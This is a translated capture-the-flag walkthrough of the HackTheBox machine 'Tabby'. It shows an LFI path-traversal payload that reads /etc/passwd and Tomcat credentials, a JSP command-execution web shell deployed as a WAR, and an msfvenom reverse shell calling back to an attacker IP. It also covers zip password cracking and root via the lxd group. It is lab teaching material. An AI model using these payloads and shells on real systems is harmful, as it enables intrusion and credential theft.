This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Tabby


In this machine, we first exploit a Local File Inclusion (LFI) vulnerability to enumerate the Tomcat users. Then we achieve remote code execution (RCE) by uploading a .war file to Tomcat. For privilege escalation, we extract credentials from a zip file and abuse the lxd group.

June 6, 20248 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

ping -c 1 10.10.10.194
PING 10.10.10.194 (10.10.11.254) 56(84) bytes of data.
64 bytes from 10.10.11.254: icmp_seq=1 ttl=63 time=38.4 ms

--- 10.10.10.194 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.381/38.381/38.381/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.194 -oG allPorts
Parameter explanation
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip checking whether the host is up
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.194
   5   │     [*] Open ports: 22,80,8080
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

> nmap -p22,80,8080 -sCV 10.10.10.194 -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-26 18:42 CEST
Nmap scan report for skyfall.htb (10.10.11.254)
Host is up (0.045s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Parameter explanation
ParameterPurpose
-pThe open ports found in the previous scan
-sCRun basic reconnaissance scripts
-sVReport the version and details of the services running on the ports

Ports 80 and 8080

There is a website running on port 80 with Apache 2.4.41.

We start by fuzzing with gobuster to find subdirectories.

> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.194 -x php

/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 14175]
/news.php             (Status: 200) [Size: 0]
/files                (Status: 301) [Size: 312] [--> http://10.10.10.194/files/]
/assets               (Status: 301) [Size: 313] [--> http://10.10.10.194/assets/]

If we open news.php directly we see a blank page, but if we open it from the button on the main page, it takes us to http://megahosting.htb/news.php?file=statement

To view the page, we need to add the domain to /etc/hosts

Once we can see the page, we notice there is a URL parameter called file. gobuster detected a folder called files, so the ?file= parameter might be loading the contents of files inside files. We can check this like this

We see that what’s shown at news.php?file=statement is the same as what’s in /files/statement. Knowing this, we try to exploit an LFI (Local File Inclusion)

curl http://megahosting.htb/news.php?file=../../../../../../../../../etc/passwd

root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network❌100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync❌102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus❌103:106::/nonexistent:/usr/sbin/nologin
syslog❌104:110::/home/syslog:/usr/sbin/nologin
_apt❌105:65534::/nonexistent:/usr/sbin/nologin
tss❌106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd❌107:112::/run/uuidd:/usr/sbin/nologin
tcpdump❌108:113::/nonexistent:/usr/sbin/nologin
landscape❌109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate❌110:1::/var/cache/pollinate:/bin/false
sshd❌111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd❌998💯:/var/snap/lxd/common/lxd:/bin/false
tomcat❌997:997::/opt/tomcat:/bin/false
mysql❌112:120:MySQL Server,,,:/nonexistent:/bin/false
ash❌1000:1000:clive:/home/ash:/bin/bashc

Now we can enumerate files on the machine.

In /etc/passwd we see the user ash, whose SSH id_rsa key we could try to steal

curl http://megahosting.htb/news.php?file=../../../../../../../../../home/ash/.ssh/id_rsa

But we can’t read it.

If we remember the nmap scan, there was another open port, 8080, which has Tomcat running. When we open it, a message appears saying:

Users are defined in /etc/tomcat9/tomcat-users.xml.

We try to read /etc/tomcat9/tomcat-users.xml through the LFI, but it doesn’t work

curl http://megahosting.htb/news.php?file=../../../../../../../../../etc/tomcat9/tomcat-users.xml

Searching online, I found they can also be stored in /usr/share/tomcat9/etc/tomcat-users.xml

curl -s http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml | grep username
  
you must define such a user - the username and password are arbitrary. It is
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

We have the credentials for the tomcat user!

If we log in from /manager in Tomcat, we get the following error

By default the Manager is only accessible from a browser running on the same machine as Tomcat

Basically, we can’t get in unless we access it from the same machine. If we look at the tomcat user’s roles, we see it has the manager-script role. This role lets us upload files as follows.

First we create a .war that lets us run commands

mkdir war
cd war
nano index.jsp
<form method=GET action='index.jsp'>
<input name='cmd' type=text>
<input type=submit value='Run'>
</form>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>
jar -cvf ../evil.war *
cd ../

We upload it

curl --upload-file evil.war 'http://tomcat:[email protected]:8080/manager/text/deploy?path=/evil2&update=true'

OK - Deployed application at context path [/evil2]

Now we can run commands

curl "megahosting.htb:8080/evil2/index.jsp?cmd=id"
<form method=GET action='index.jsp'>
<input name='cmd' type=text>
<input type=submit value='Run'>
</form>


<pre>uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)</br></pre>

To get the reverse shell, we create another .war with msfvenom

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.32 LPORT=443 -f war -o shell.war

We upload it

curl --upload-file shell.war 'http://tomcat:[email protected]:8080/manager/text/deploy?path=/shell&update=true'

We listen with nc on port 443

nc -nlvp 443

We make a request to the file and get the shell

curl "megahosting.htb:8080/shell/"

Privilege escalation

Before going on, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm

export TERM=xterm

Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash

export SHELL=bash

After searching for a while, we find 16162020_backup.zip.

tomcat@tabby:/var/www/html/files$ ls
16162020_backup.zip  archive  revoked_certs  statement

When we try to unzip it, it asks for a password

tomcat@tabby:/var/www/html/files$ unzip 16162020_backup.zip 
Archive:  16162020_backup.zip
checkdir error:  cannot create var
                 Read-only file system
                 unable to process var/www/html/assets/.
[16162020_backup.zip] var/www/html/favicon.ico password: 

To find the password, we copy the zip to our machine

We extract its hash with zip2john

zip2john 16162020_backup.zip > hash

Now we crack it with john

john --wordlist=/usr/share/wordlists/rockyou.txt hash
                                                       
john --show hash                                     
16162020_backup.zip:admin@it::16162020_backup.zip:var/www/html/news.php, var/www/html/favicon.ico, var/www/html/Readme.txt, var/www/html/logo.png, var/www/html/index.php:16162020_backup.zip

1 password hash cracked, 0 left

The zip password is admin@it.

There is nothing inside the zip.

When we try it, we find that this password is reused by the user ash

Checking ash’s groups, we see he is in the lxd group

ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

To abuse this group to escalate privileges, we’ll do the following on our machine

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
bash build-alpine

This generates the file alpine-v3.20-x86_64-20240606_1419.tar.gz, which we have to copy to the target machine along with this script: searchsploit -m linux/local/46978.sh

ash@tabby:/tmp$ ./46978.sh -f alpine-v3.20-x86_64-20240606_1419.tar.gz 
./46978.sh: line 21: lxc: command not found

When we run it, it says the lxc command doesn’t exist.

It could be that lxc is there but not in the PATH, so we’ll look for it

ash@tabby:/tmp$ find / -name lxc 2>/dev/null
/snap/lxd/14804/bin/lxc
/snap/lxd/14804/commands/lxc
/snap/lxd/14804/lxc
/snap/lxd/21468/bin/lxc
/snap/lxd/21468/commands/lxc
/snap/lxd/21468/lxc
/snap/bin/lxc
/var/snap/lxd/common/lxc
/etc/bash_completion.d/lxc
/usr/share/bash-completion/completions/lxc

lxc does exist, but it isn’t in the PATH, so we add it

ash@tabby:/tmp$ export PATH=$PATH:/snap/bin/

Now we get Error: open alpine-v3.20-x86_64-20240606_1419.tar.gz: no such file or directory

ash@tabby:/tmp$ ./46978.sh -f alpine-v3.20-x86_64-20240606_1419.tar.gz 
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

Error: open alpine-v3.20-x86_64-20240606_1419.tar.gz: no such file or directory
[*] Listing images...

+-------+-------------+--------+-------------+--------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+--------------+------+------+-------------+
Creating privesc
Error: Not Found

This error gave me a bit of a headache because I didn’t understand why it wasn’t working.

In the end, I tried moving the file to another path, such as ash’s home directory

ash@tabby:/tmp$ mv alpine-v3.20-x86_64-20240606_1419.tar.gz /home/ash/

ash@tabby:/tmp$ ./46978.sh -f /home/ash/alpine-v3.20-x86_64-20240606_1419.tar.gz 
[*] Listing images...

+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE         |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| alpine | 099f19378603 | no     | alpine v3.20 (20240606_14:19) | x86_64       | CONTAINER | 3.67MB | Jun 6, 2024 at 4:28pm (UTC) |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
Creating privesc
Device giveMeRoot added to privesc         
~ # 

Now we are inside the container we created, as the root user

Inside /mnt/root we have the host machine’s root filesystem mounted

/ # cd /mnt/root

/mnt/root # ls
bin         etc         lib64       mnt         run         sys
boot        home        libx32      opt         sbin        tmp
cdrom       lib         lost+found  proc        snap        usr
dev         lib32       media       root        srv         var

So with cat on /mnt/root/root/root.txt we can see the flag